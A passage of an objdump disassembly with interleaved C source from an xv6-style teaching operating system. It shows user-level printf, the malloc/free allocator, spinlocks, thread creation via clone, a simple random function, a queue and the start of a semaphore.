1689: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1690: 00
1691: 89 44 24 04 mov %eax,0x4(%esp)
1695: 8b 45 08 mov 0x8(%ebp),%eax
1698: 89 04 24 mov %eax,(%esp)
169b: e8 b0 fe ff ff call 1550 <printint>
ap++;
16a0: 83 45 f4 04 addl $0x4,-0xc(%ebp)
16a4: e9 ed 00 00 00 jmp 1796 <printf+0x195>
} else if(c == 'x' || c == 'p'){
16a9: 83 7d e8 78 cmpl $0x78,-0x18(%ebp)
16ad: 74 06 je 16b5 <printf+0xb4>
16af: 83 7d e8 70 cmpl $0x70,-0x18(%ebp)
16b3: 75 2d jne 16e2 <printf+0xe1>
printint(fd, *ap, 16, 0);
16b5: 8b 45 f4 mov -0xc(%ebp),%eax
16b8: 8b 00 mov (%eax),%eax
16ba: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
16c1: 00
16c2: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
16c9: 00
16ca: 89 44 24 04 mov %eax,0x4(%esp)
16ce: 8b 45 08 mov 0x8(%ebp),%eax
16d1: 89 04 24 mov %eax,(%esp)
16d4: e8 77 fe ff ff call 1550 <printint>
ap++;
16d9: 83 45 f4 04 addl $0x4,-0xc(%ebp)
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
16dd: e9 b4 00 00 00 jmp 1796 <printf+0x195>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
16e2: 83 7d e8 73 cmpl $0x73,-0x18(%ebp)
16e6: 75 46 jne 172e <printf+0x12d>
s = (char*)*ap;
16e8: 8b 45 f4 mov -0xc(%ebp),%eax
16eb: 8b 00 mov (%eax),%eax
16ed: 89 45 e4 mov %eax,-0x1c(%ebp)
ap++;
16f0: 83 45 f4 04 addl $0x4,-0xc(%ebp)
if(s == 0)
16f4: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
16f8: 75 27 jne 1721 <printf+0x120>
s = "(null)";
16fa: c7 45 e4 eb 1d 00 00 movl $0x1deb,-0x1c(%ebp)
while(*s != 0){
1701: eb 1f jmp 1722 <printf+0x121>
putc(fd, *s);
1703: 8b 45 e4 mov -0x1c(%ebp),%eax
1706: 0f b6 00 movzbl (%eax),%eax
1709: 0f be c0 movsbl %al,%eax
170c: 89 44 24 04 mov %eax,0x4(%esp)
1710: 8b 45 08 mov 0x8(%ebp),%eax
1713: 89 04 24 mov %eax,(%esp)
1716: e8 0d fe ff ff call 1528 <putc>
s++;
171b: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
171f: eb 01 jmp 1722 <printf+0x121>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
1721: 90 nop
1722: 8b 45 e4 mov -0x1c(%ebp),%eax
1725: 0f b6 00 movzbl (%eax),%eax
1728: 84 c0 test %al,%al
172a: 75 d7 jne 1703 <printf+0x102>
172c: eb 68 jmp 1796 <printf+0x195>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
172e: 83 7d e8 63 cmpl $0x63,-0x18(%ebp)
1732: 75 1d jne 1751 <printf+0x150>
putc(fd, *ap);
1734: 8b 45 f4 mov -0xc(%ebp),%eax
1737: 8b 00 mov (%eax),%eax
1739: 0f be c0 movsbl %al,%eax
173c: 89 44 24 04 mov %eax,0x4(%esp)
1740: 8b 45 08 mov 0x8(%ebp),%eax
1743: 89 04 24 mov %eax,(%esp)
1746: e8 dd fd ff ff call 1528 <putc>
ap++;
174b: 83 45 f4 04 addl $0x4,-0xc(%ebp)
174f: eb 45 jmp 1796 <printf+0x195>
} else if(c == '%'){
1751: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
1755: 75 17 jne 176e <printf+0x16d>
putc(fd, c);
1757: 8b 45 e8 mov -0x18(%ebp),%eax
175a: 0f be c0 movsbl %al,%eax
175d: 89 44 24 04 mov %eax,0x4(%esp)
1761: 8b 45 08 mov 0x8(%ebp),%eax
1764: 89 04 24 mov %eax,(%esp)
1767: e8 bc fd ff ff call 1528 <putc>
176c: eb 28 jmp 1796 <printf+0x195>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
176e: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
1775: 00
1776: 8b 45 08 mov 0x8(%ebp),%eax
1779: 89 04 24 mov %eax,(%esp)
177c: e8 a7 fd ff ff call 1528 <putc>
putc(fd, c);
1781: 8b 45 e8 mov -0x18(%ebp),%eax
1784: 0f be c0 movsbl %al,%eax
1787: 89 44 24 04 mov %eax,0x4(%esp)
178b: 8b 45 08 mov 0x8(%ebp),%eax
178e: 89 04 24 mov %eax,(%esp)
1791: e8 92 fd ff ff call 1528 <putc>
}
state = 0;
1796: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
179d: 83 45 ec 01 addl $0x1,-0x14(%ebp)
17a1: 8b 55 0c mov 0xc(%ebp),%edx
17a4: 8b 45 ec mov -0x14(%ebp),%eax
17a7: 8d 04 02 lea (%edx,%eax,1),%eax
17aa: 0f b6 00 movzbl (%eax),%eax
17ad: 84 c0 test %al,%al
17af: 0f 85 6e fe ff ff jne 1623 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
17b5: c9 leave
17b6: c3 ret
17b7: 90 nop
000017b8 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
17b8: 55 push %ebp
17b9: 89 e5 mov %esp,%ebp
17bb: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
17be: 8b 45 08 mov 0x8(%ebp),%eax
17c1: 83 e8 08 sub $0x8,%eax
17c4: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
17c7: a1 4c 1e 00 00 mov 0x1e4c,%eax
17cc: 89 45 fc mov %eax,-0x4(%ebp)
17cf: eb 24 jmp 17f5 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
17d1: 8b 45 fc mov -0x4(%ebp),%eax
17d4: 8b 00 mov (%eax),%eax
17d6: 3b 45 fc cmp -0x4(%ebp),%eax
17d9: 77 12 ja 17ed <free+0x35>
17db: 8b 45 f8 mov -0x8(%ebp),%eax
17de: 3b 45 fc cmp -0x4(%ebp),%eax
17e1: 77 24 ja 1807 <free+0x4f>
17e3: 8b 45 fc mov -0x4(%ebp),%eax
17e6: 8b 00 mov (%eax),%eax
17e8: 3b 45 f8 cmp -0x8(%ebp),%eax
17eb: 77 1a ja 1807 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
17ed: 8b 45 fc mov -0x4(%ebp),%eax
17f0: 8b 00 mov (%eax),%eax
17f2: 89 45 fc mov %eax,-0x4(%ebp)
17f5: 8b 45 f8 mov -0x8(%ebp),%eax
17f8: 3b 45 fc cmp -0x4(%ebp),%eax
17fb: 76 d4 jbe 17d1 <free+0x19>
17fd: 8b 45 fc mov -0x4(%ebp),%eax
1800: 8b 00 mov (%eax),%eax
1802: 3b 45 f8 cmp -0x8(%ebp),%eax
1805: 76 ca jbe 17d1 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
1807: 8b 45 f8 mov -0x8(%ebp),%eax
180a: 8b 40 04 mov 0x4(%eax),%eax
180d: c1 e0 03 shl $0x3,%eax
1810: 89 c2 mov %eax,%edx
1812: 03 55 f8 add -0x8(%ebp),%edx
1815: 8b 45 fc mov -0x4(%ebp),%eax
1818: 8b 00 mov (%eax),%eax
181a: 39 c2 cmp %eax,%edx
181c: 75 24 jne 1842 <free+0x8a>
bp->s.size += p->s.ptr->s.size;
181e: 8b 45 f8 mov -0x8(%ebp),%eax
1821: 8b 50 04 mov 0x4(%eax),%edx
1824: 8b 45 fc mov -0x4(%ebp),%eax
1827: 8b 00 mov (%eax),%eax
1829: 8b 40 04 mov 0x4(%eax),%eax
182c: 01 c2 add %eax,%edx
182e: 8b 45 f8 mov -0x8(%ebp),%eax
1831: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
1834: 8b 45 fc mov -0x4(%ebp),%eax
1837: 8b 00 mov (%eax),%eax
1839: 8b 10 mov (%eax),%edx
183b: 8b 45 f8 mov -0x8(%ebp),%eax
183e: 89 10 mov %edx,(%eax)
1840: eb 0a jmp 184c <free+0x94>
} else
bp->s.ptr = p->s.ptr;
1842: 8b 45 fc mov -0x4(%ebp),%eax
1845: 8b 10 mov (%eax),%edx
1847: 8b 45 f8 mov -0x8(%ebp),%eax
184a: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
184c: 8b 45 fc mov -0x4(%ebp),%eax
184f: 8b 40 04 mov 0x4(%eax),%eax
1852: c1 e0 03 shl $0x3,%eax
1855: 03 45 fc add -0x4(%ebp),%eax
1858: 3b 45 f8 cmp -0x8(%ebp),%eax
185b: 75 20 jne 187d <free+0xc5>
p->s.size += bp->s.size;
185d: 8b 45 fc mov -0x4(%ebp),%eax
1860: 8b 50 04 mov 0x4(%eax),%edx
1863: 8b 45 f8 mov -0x8(%ebp),%eax
1866: 8b 40 04 mov 0x4(%eax),%eax
1869: 01 c2 add %eax,%edx
186b: 8b 45 fc mov -0x4(%ebp),%eax
186e: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
1871: 8b 45 f8 mov -0x8(%ebp),%eax
1874: 8b 10 mov (%eax),%edx
1876: 8b 45 fc mov -0x4(%ebp),%eax
1879: 89 10 mov %edx,(%eax)
187b: eb 08 jmp 1885 <free+0xcd>
} else
p->s.ptr = bp;
187d: 8b 45 fc mov -0x4(%ebp),%eax
1880: 8b 55 f8 mov -0x8(%ebp),%edx
1883: 89 10 mov %edx,(%eax)
freep = p;
1885: 8b 45 fc mov -0x4(%ebp),%eax
1888: a3 4c 1e 00 00 mov %eax,0x1e4c
}
188d: c9 leave
188e: c3 ret
0000188f <morecore>:
static Header*
morecore(uint nu)
{
188f: 55 push %ebp
1890: 89 e5 mov %esp,%ebp
1892: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
1895: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
189c: 77 07 ja 18a5 <morecore+0x16>
nu = 4096;
189e: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
18a5: 8b 45 08 mov 0x8(%ebp),%eax
18a8: c1 e0 03 shl $0x3,%eax
18ab: 89 04 24 mov %eax,(%esp)
18ae: e8 35 fc ff ff call 14e8 <sbrk>
18b3: 89 45 f0 mov %eax,-0x10(%ebp)
if(p == (char*)-1)
18b6: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp)
18ba: 75 07 jne 18c3 <morecore+0x34>
return 0;
18bc: b8 00 00 00 00 mov $0x0,%eax
18c1: eb 22 jmp 18e5 <morecore+0x56>
hp = (Header*)p;
18c3: 8b 45 f0 mov -0x10(%ebp),%eax
18c6: 89 45 f4 mov %eax,-0xc(%ebp)
hp->s.size = nu;
18c9: 8b 45 f4 mov -0xc(%ebp),%eax
18cc: 8b 55 08 mov 0x8(%ebp),%edx
18cf: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
18d2: 8b 45 f4 mov -0xc(%ebp),%eax
18d5: 83 c0 08 add $0x8,%eax
18d8: 89 04 24 mov %eax,(%esp)
18db: e8 d8 fe ff ff call 17b8 <free>
return freep;
18e0: a1 4c 1e 00 00 mov 0x1e4c,%eax
}
18e5: c9 leave
18e6: c3 ret
000018e7 <malloc>:
void*
malloc(uint nbytes)
{
18e7: 55 push %ebp
18e8: 89 e5 mov %esp,%ebp
18ea: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
18ed: 8b 45 08 mov 0x8(%ebp),%eax
18f0: 83 c0 07 add $0x7,%eax
18f3: c1 e8 03 shr $0x3,%eax
18f6: 83 c0 01 add $0x1,%eax
18f9: 89 45 f4 mov %eax,-0xc(%ebp)
if((prevp = freep) == 0){
18fc: a1 4c 1e 00 00 mov 0x1e4c,%eax
1901: 89 45 f0 mov %eax,-0x10(%ebp)
1904: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1908: 75 23 jne 192d <malloc+0x46>
base.s.ptr = freep = prevp = &base;
190a: c7 45 f0 44 1e 00 00 movl $0x1e44,-0x10(%ebp)
1911: 8b 45 f0 mov -0x10(%ebp),%eax
1914: a3 4c 1e 00 00 mov %eax,0x1e4c
1919: a1 4c 1e 00 00 mov 0x1e4c,%eax
191e: a3 44 1e 00 00 mov %eax,0x1e44
base.s.size = 0;
1923: c7 05 48 1e 00 00 00 movl $0x0,0x1e48
192a: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
192d: 8b 45 f0 mov -0x10(%ebp),%eax
1930: 8b 00 mov (%eax),%eax
1932: 89 45 ec mov %eax,-0x14(%ebp)
if(p->s.size >= nunits){
1935: 8b 45 ec mov -0x14(%ebp),%eax
1938: 8b 40 04 mov 0x4(%eax),%eax
193b: 3b 45 f4 cmp -0xc(%ebp),%eax
193e: 72 4d jb 198d <malloc+0xa6>
if(p->s.size == nunits)
1940: 8b 45 ec mov -0x14(%ebp),%eax
1943: 8b 40 04 mov 0x4(%eax),%eax
1946: 3b 45 f4 cmp -0xc(%ebp),%eax
1949: 75 0c jne 1957 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
194b: 8b 45 ec mov -0x14(%ebp),%eax
194e: 8b 10 mov (%eax),%edx
1950: 8b 45 f0 mov -0x10(%ebp),%eax
1953: 89 10 mov %edx,(%eax)
1955: eb 26 jmp 197d <malloc+0x96>
else {
p->s.size -= nunits;
1957: 8b 45 ec mov -0x14(%ebp),%eax
195a: 8b 40 04 mov 0x4(%eax),%eax
195d: 89 c2 mov %eax,%edx
195f: 2b 55 f4 sub -0xc(%ebp),%edx
1962: 8b 45 ec mov -0x14(%ebp),%eax
1965: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
1968: 8b 45 ec mov -0x14(%ebp),%eax
196b: 8b 40 04 mov 0x4(%eax),%eax
196e: c1 e0 03 shl $0x3,%eax
1971: 01 45 ec add %eax,-0x14(%ebp)
p->s.size = nunits;
1974: 8b 45 ec mov -0x14(%ebp),%eax
1977: 8b 55 f4 mov -0xc(%ebp),%edx
197a: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
197d: 8b 45 f0 mov -0x10(%ebp),%eax
1980: a3 4c 1e 00 00 mov %eax,0x1e4c
return (void*)(p + 1);
1985: 8b 45 ec mov -0x14(%ebp),%eax
1988: 83 c0 08 add $0x8,%eax
198b: eb 38 jmp 19c5 <malloc+0xde>
}
if(p == freep)
198d: a1 4c 1e 00 00 mov 0x1e4c,%eax
1992: 39 45 ec cmp %eax,-0x14(%ebp)
1995: 75 1b jne 19b2 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
1997: 8b 45 f4 mov -0xc(%ebp),%eax
199a: 89 04 24 mov %eax,(%esp)
199d: e8 ed fe ff ff call 188f <morecore>
19a2: 89 45 ec mov %eax,-0x14(%ebp)
19a5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
19a9: 75 07 jne 19b2 <malloc+0xcb>
return 0;
19ab: b8 00 00 00 00 mov $0x0,%eax
19b0: eb 13 jmp 19c5 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
19b2: 8b 45 ec mov -0x14(%ebp),%eax
19b5: 89 45 f0 mov %eax,-0x10(%ebp)
19b8: 8b 45 ec mov -0x14(%ebp),%eax
19bb: 8b 00 mov (%eax),%eax
19bd: 89 45 ec mov %eax,-0x14(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
19c0: e9 70 ff ff ff jmp 1935 <malloc+0x4e>
}
19c5: c9 leave
19c6: c3 ret
19c7: 90 nop
000019c8 <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
19c8: 55 push %ebp
19c9: 89 e5 mov %esp,%ebp
19cb: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
19ce: 8b 55 08 mov 0x8(%ebp),%edx
19d1: 8b 45 0c mov 0xc(%ebp),%eax
19d4: 8b 4d 08 mov 0x8(%ebp),%ecx
19d7: f0 87 02 lock xchg %eax,(%edx)
19da: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
19dd: 8b 45 fc mov -0x4(%ebp),%eax
}
19e0: c9 leave
19e1: c3 ret
000019e2 <lock_init>:
#include "x86.h"
#include "proc.h"
unsigned long rands = 1;
void lock_init(lock_t *lock){
19e2: 55 push %ebp
19e3: 89 e5 mov %esp,%ebp
lock->locked = 0;
19e5: 8b 45 08 mov 0x8(%ebp),%eax
19e8: c7 00 00 00 00 00 movl $0x0,(%eax)
}
19ee: 5d pop %ebp
19ef: c3 ret
000019f0 <lock_acquire>:
void lock_acquire(lock_t *lock){
19f0: 55 push %ebp
19f1: 89 e5 mov %esp,%ebp
19f3: 83 ec 08 sub $0x8,%esp
while(xchg(&lock->locked,1) != 0);
19f6: 8b 45 08 mov 0x8(%ebp),%eax
19f9: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
1a00: 00
1a01: 89 04 24 mov %eax,(%esp)
1a04: e8 bf ff ff ff call 19c8 <xchg>
1a09: 85 c0 test %eax,%eax
1a0b: 75 e9 jne 19f6 <lock_acquire+0x6>
}
1a0d: c9 leave
1a0e: c3 ret
00001a0f <lock_release>:
void lock_release(lock_t *lock){
1a0f: 55 push %ebp
1a10: 89 e5 mov %esp,%ebp
1a12: 83 ec 08 sub $0x8,%esp
xchg(&lock->locked,0);
1a15: 8b 45 08 mov 0x8(%ebp),%eax
1a18: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1a1f: 00
1a20: 89 04 24 mov %eax,(%esp)
1a23: e8 a0 ff ff ff call 19c8 <xchg>
}
1a28: c9 leave
1a29: c3 ret
00001a2a <thread_create>:
void *thread_create(void(*start_routine)(void*), void *arg){
1a2a: 55 push %ebp
1a2b: 89 e5 mov %esp,%ebp
1a2d: 83 ec 28 sub $0x28,%esp
int tid;
void * stack = malloc(2 * 4096);
1a30: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
1a37: e8 ab fe ff ff call 18e7 <malloc>
1a3c: 89 45 f0 mov %eax,-0x10(%ebp)
void *garbage_stack = stack;
1a3f: 8b 45 f0 mov -0x10(%ebp),%eax
1a42: 89 45 f4 mov %eax,-0xc(%ebp)
// printf(1,"start routine addr : %d\n",(uint)start_routine);
if((uint)stack % 4096){
1a45: 8b 45 f0 mov -0x10(%ebp),%eax
1a48: 25 ff 0f 00 00 and $0xfff,%eax
1a4d: 85 c0 test %eax,%eax
1a4f: 74 15 je 1a66 <thread_create+0x3c>
stack = stack + (4096 - (uint)stack % 4096);
1a51: 8b 45 f0 mov -0x10(%ebp),%eax
1a54: 89 c2 mov %eax,%edx
1a56: 81 e2 ff 0f 00 00 and $0xfff,%edx
1a5c: b8 00 10 00 00 mov $0x1000,%eax
1a61: 29 d0 sub %edx,%eax
1a63: 01 45 f0 add %eax,-0x10(%ebp)
}
if (stack == 0){
1a66: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1a6a: 75 1b jne 1a87 <thread_create+0x5d>
printf(1,"malloc fail \n");
1a6c: c7 44 24 04 f2 1d 00 movl $0x1df2,0x4(%esp)
1a73: 00
1a74: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a7b: e8 81 fb ff ff call 1601 <printf>
return 0;
1a80: b8 00 00 00 00 mov $0x0,%eax
1a85: eb 6f jmp 1af6 <thread_create+0xcc>
}
tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg);
1a87: 8b 4d 0c mov 0xc(%ebp),%ecx
1a8a: 8b 55 08 mov 0x8(%ebp),%edx
1a8d: 8b 45 f0 mov -0x10(%ebp),%eax
1a90: 89 4c 24 0c mov %ecx,0xc(%esp)
1a94: 89 54 24 08 mov %edx,0x8(%esp)
1a98: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp)
1a9f: 00
1aa0: 89 04 24 mov %eax,(%esp)
1aa3: e8 58 fa ff ff call 1500 <clone>
1aa8: 89 45 ec mov %eax,-0x14(%ebp)
if(tid < 0){
1aab: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1aaf: 79 1b jns 1acc <thread_create+0xa2>
printf(1,"clone fails\n");
1ab1: c7 44 24 04 00 1e 00 movl $0x1e00,0x4(%esp)
1ab8: 00
1ab9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ac0: e8 3c fb ff ff call 1601 <printf>
return 0;
1ac5: b8 00 00 00 00 mov $0x0,%eax
1aca: eb 2a jmp 1af6 <thread_create+0xcc>
}
if(tid > 0){
1acc: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1ad0: 7e 05 jle 1ad7 <thread_create+0xad>
//store threads on thread table
return garbage_stack;
1ad2: 8b 45 f4 mov -0xc(%ebp),%eax
1ad5: eb 1f jmp 1af6 <thread_create+0xcc>
}
if(tid == 0){
1ad7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1adb: 75 14 jne 1af1 <thread_create+0xc7>
printf(1,"tid = 0 return \n");
1add: c7 44 24 04 0d 1e 00 movl $0x1e0d,0x4(%esp)
1ae4: 00
1ae5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1aec: e8 10 fb ff ff call 1601 <printf>
}
// wait();
// free(garbage_stack);
return 0;
1af1: b8 00 00 00 00 mov $0x0,%eax
}
1af6: c9 leave
1af7: c3 ret
00001af8 <random>:
// generate 0 -> max random number exclude max.
int random(int max){
1af8: 55 push %ebp
1af9: 89 e5 mov %esp,%ebp
rands = rands * 1664525 + 1013904233;
1afb: a1 34 1e 00 00 mov 0x1e34,%eax
1b00: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
1b06: 05 69 f3 6e 3c add $0x3c6ef369,%eax
1b0b: a3 34 1e 00 00 mov %eax,0x1e34
return (int)(rands % max);
1b10: a1 34 1e 00 00 mov 0x1e34,%eax
1b15: 8b 4d 08 mov 0x8(%ebp),%ecx
1b18: ba 00 00 00 00 mov $0x0,%edx
1b1d: f7 f1 div %ecx
1b1f: 89 d0 mov %edx,%eax
}
1b21: 5d pop %ebp
1b22: c3 ret
1b23: 90 nop
00001b24 <init_q>:
#include "queue.h"
#include "types.h"
#include "user.h"
void init_q(struct queue *q){
1b24: 55 push %ebp
1b25: 89 e5 mov %esp,%ebp
q->size = 0;
1b27: 8b 45 08 mov 0x8(%ebp),%eax
1b2a: c7 00 00 00 00 00 movl $0x0,(%eax)
q->head = 0;
1b30: 8b 45 08 mov 0x8(%ebp),%eax
1b33: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
1b3a: 8b 45 08 mov 0x8(%ebp),%eax
1b3d: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
1b44: 5d pop %ebp
1b45: c3 ret
00001b46 <add_q>:
void add_q(struct queue *q, int v){
1b46: 55 push %ebp
1b47: 89 e5 mov %esp,%ebp
1b49: 83 ec 28 sub $0x28,%esp
struct node * n = malloc(sizeof(struct node));
1b4c: c7 04 24 08 00 00 00 movl $0x8,(%esp)
1b53: e8 8f fd ff ff call 18e7 <malloc>
1b58: 89 45 f4 mov %eax,-0xc(%ebp)
n->next = 0;
1b5b: 8b 45 f4 mov -0xc(%ebp),%eax
1b5e: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->value = v;
1b65: 8b 45 f4 mov -0xc(%ebp),%eax
1b68: 8b 55 0c mov 0xc(%ebp),%edx
1b6b: 89 10 mov %edx,(%eax)
if(q->head == 0){
1b6d: 8b 45 08 mov 0x8(%ebp),%eax
1b70: 8b 40 04 mov 0x4(%eax),%eax
1b73: 85 c0 test %eax,%eax
1b75: 75 0b jne 1b82 <add_q+0x3c>
q->head = n;
1b77: 8b 45 08 mov 0x8(%ebp),%eax
1b7a: 8b 55 f4 mov -0xc(%ebp),%edx
1b7d: 89 50 04 mov %edx,0x4(%eax)
1b80: eb 0c jmp 1b8e <add_q+0x48>
}else{
q->tail->next = n;
1b82: 8b 45 08 mov 0x8(%ebp),%eax
1b85: 8b 40 08 mov 0x8(%eax),%eax
1b88: 8b 55 f4 mov -0xc(%ebp),%edx
1b8b: 89 50 04 mov %edx,0x4(%eax)
}
q->tail = n;
1b8e: 8b 45 08 mov 0x8(%ebp),%eax
1b91: 8b 55 f4 mov -0xc(%ebp),%edx
1b94: 89 50 08 mov %edx,0x8(%eax)
q->size++;
1b97: 8b 45 08 mov 0x8(%ebp),%eax
1b9a: 8b 00 mov (%eax),%eax
1b9c: 8d 50 01 lea 0x1(%eax),%edx
1b9f: 8b 45 08 mov 0x8(%ebp),%eax
1ba2: 89 10 mov %edx,(%eax)
}
1ba4: c9 leave
1ba5: c3 ret
00001ba6 <empty_q>:
int empty_q(struct queue *q){
1ba6: 55 push %ebp
1ba7: 89 e5 mov %esp,%ebp
if(q->size == 0)
1ba9: 8b 45 08 mov 0x8(%ebp),%eax
1bac: 8b 00 mov (%eax),%eax
1bae: 85 c0 test %eax,%eax
1bb0: 75 07 jne 1bb9 <empty_q+0x13>
return 1;
1bb2: b8 01 00 00 00 mov $0x1,%eax
1bb7: eb 05 jmp 1bbe <empty_q+0x18>
else
return 0;
1bb9: b8 00 00 00 00 mov $0x0,%eax
}
1bbe: 5d pop %ebp
1bbf: c3 ret
00001bc0 <pop_q>:
int pop_q(struct queue *q){
1bc0: 55 push %ebp
1bc1: 89 e5 mov %esp,%ebp
1bc3: 83 ec 28 sub $0x28,%esp
int val;
struct node *destroy;
if(!empty_q(q)){
1bc6: 8b 45 08 mov 0x8(%ebp),%eax
1bc9: 89 04 24 mov %eax,(%esp)
1bcc: e8 d5 ff ff ff call 1ba6 <empty_q>
1bd1: 85 c0 test %eax,%eax
1bd3: 75 5d jne 1c32 <pop_q+0x72>
val = q->head->value;
1bd5: 8b 45 08 mov 0x8(%ebp),%eax
1bd8: 8b 40 04 mov 0x4(%eax),%eax
1bdb: 8b 00 mov (%eax),%eax
1bdd: 89 45 f0 mov %eax,-0x10(%ebp)
destroy = q->head;
1be0: 8b 45 08 mov 0x8(%ebp),%eax
1be3: 8b 40 04 mov 0x4(%eax),%eax
1be6: 89 45 f4 mov %eax,-0xc(%ebp)
q->head = q->head->next;
1be9: 8b 45 08 mov 0x8(%ebp),%eax
1bec: 8b 40 04 mov 0x4(%eax),%eax
1bef: 8b 50 04 mov 0x4(%eax),%edx
1bf2: 8b 45 08 mov 0x8(%ebp),%eax
1bf5: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
1bf8: 8b 45 f4 mov -0xc(%ebp),%eax
1bfb: 89 04 24 mov %eax,(%esp)
1bfe: e8 b5 fb ff ff call 17b8 <free>
q->size--;
1c03: 8b 45 08 mov 0x8(%ebp),%eax
1c06: 8b 00 mov (%eax),%eax
1c08: 8d 50 ff lea -0x1(%eax),%edx
1c0b: 8b 45 08 mov 0x8(%ebp),%eax
1c0e: 89 10 mov %edx,(%eax)
if(q->size == 0){
1c10: 8b 45 08 mov 0x8(%ebp),%eax
1c13: 8b 00 mov (%eax),%eax
1c15: 85 c0 test %eax,%eax
1c17: 75 14 jne 1c2d <pop_q+0x6d>
q->head = 0;
1c19: 8b 45 08 mov 0x8(%ebp),%eax
1c1c: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
1c23: 8b 45 08 mov 0x8(%ebp),%eax
1c26: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
1c2d: 8b 45 f0 mov -0x10(%ebp),%eax
1c30: eb 05 jmp 1c37 <pop_q+0x77>
}
return -1;
1c32: b8 ff ff ff ff mov $0xffffffff,%eax
}
1c37: c9 leave
1c38: c3 ret
1c39: 90 nop
1c3a: 90 nop
1c3b: 90 nop
00001c3c <sem_acquire>:
#include "semaphore.h"
void sem_acquire(struct Semaphore *s)
{
1c3c: 55 push %ebp
1c3d: 89 e5 mov %esp,%ebp
1c3f: 83 ec 18 sub $0x18,%esp
lock_acquire(&s->lock);
1c42: 8b 45 08 mov 0x8(%ebp),%eax
1c45: 89 04 24 mov %eax,(%esp)
1c48: e8 a3 fd ff ff call 19f0 <lock_acquire>
s->count--;
1c4d: 8b 45 08 mov 0x8(%ebp),%eax
1c50: 8b 40 04 mov 0x4(%eax),%eax
1c53: 8d 50 ff lea -0x1(%eax),%edx
1c56: 8b 45 08 mov 0x8(%ebp),%eax
1c59: 89 50 04 mov %edx,0x4(%eax)
if( s->count < 0)
1c5c: 8b 45 08 mov 0x8(%ebp),%eax
1c5f: 8b 40 04 mov 0x4(%eax),%eax
1c62: 85 c0 test %eax,%eax
1c64: 79 27 jns 1c8d <sem_acquire+0x51>
{
add_q(&s->q, getpid());
1c66: e8 75 f8 ff ff call 14e0 <getpid>
1c6b: 8b 55 08 mov 0x8(%ebp),%edx
1c6e: 83 c2 08 add $0x8,%edx
